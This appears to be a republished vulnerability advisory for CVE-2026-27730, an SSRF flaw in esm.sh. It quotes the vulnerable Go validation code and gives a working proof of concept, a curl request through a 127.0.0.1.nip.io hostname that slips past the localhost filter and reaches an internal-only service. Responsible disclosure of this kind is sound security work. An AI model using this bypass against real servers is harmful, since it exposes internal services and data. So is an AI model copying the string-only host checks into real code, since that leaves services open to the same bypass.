🛡️ CVE-2026-27730 — esm.sh
Description
esm.sh has SSRF localhost/private-network bypass in /http(s) module route
Summary
An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).
Details
The vulnerable flow starts at the route handling user-controlled remote URLs:
server/router.go:532- Accepts paths beginning with
/http://or/https://.
```go
if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") {
query := ctx.Query()
modUrl, err := url.Parse(pathname[1:])
if err != nil {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
if modUrl.Scheme != "http" && modUrl.Scheme != "https" {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
modUrlStr := modUrl.String()
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
```
The internal-target block is string-based:
server/router.go:545
```go
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
```
Localhost detection itself is limited to hostname patterns:
server/utils.go:72isLocalhost(...)checks values likelocalhost,127.0.0.1, and192.168.*.- It does not validate the resolved destination IP after DNS resolution.
```go
func isLocalhost(hostname string) bool {
return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}
```
Fetch proceeds with host-string allowlisting:
server/router.go:595-596allowedHosts[modUrl.Host] = struct{}{}thenfetch.NewClient(...allowedHosts)
```go
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
```
internal/fetch/fetch.go:49- Host allowlist compares host strings, not resolved IP class.
```go
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
if c.allowedHosts != nil {
if _, ok := c.allowedHosts[url.Host]; !ok {
return nil, errors.New("host not allowed: " + url.Host)
}
}
if c.userAgent != "" {
if header == nil {
header = make(http.Header)
}
header.Set("User-Agent", c.userAgent)
}
// ...
return c.Do(req)
}
```
Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.
PoC
Reproduction tested on local Docker deployment.
1. Run esm.sh:
```bash
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
```
2. Run an internal localhost-only test service (secret response) in the same network namespace:
- Internal network test server code (app.py):
```python
from flask import Flask, Response
@app.get('/secret.js')
def secret_js():
return Response('secret;\n', mimetype='application/javascript')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555)
```
Run the internal Python server container (same network namespace as esmsh-5558):
```bash
docker run -d --name internal-5555 --network container:esmsh-5558 \
-v "<YOUR_PATH>/flask-internal:/app" -w /app \
python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"
```
Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.
4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
```bash
cloudflared tunnel --url http://127.0.0.1:5558
```
5. Trigger SSRF from outside via esm.sh endpoint:
```bash
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"
```
127.0.0.1 is blocked,
<img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" />
but 127.0.0.1.nip.io bypasses the filter.
<img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" />
This confirms external requesters can fetch internal localhost service cont
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.
Weakness class
CVE-2026-27730 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
Affected software
CVE-2026-27730 is recorded against 2 packages.
- esm.sh (fixed in 137)
- github.com/esm-dev/esm.sh
Timeline and source
Published on 25 February 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| esm.sh | — | 137 |
| github.com/esm-dev/esm.sh | — | — |
References
Similar Threats
- High CVE-2025-50180
- High CVE-2026-23644
- High CVE-2025-65025
- Medium CVE-2025-65026
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running esm.sh?
CVE-2026-27730 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-27730 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.